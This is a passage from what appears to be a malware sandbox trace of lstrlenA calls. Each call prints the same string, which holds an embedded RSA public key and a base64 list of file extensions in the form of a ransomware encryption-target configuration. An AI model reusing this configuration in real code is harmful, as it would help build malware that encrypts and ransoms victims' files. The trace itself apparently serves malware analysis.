sIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3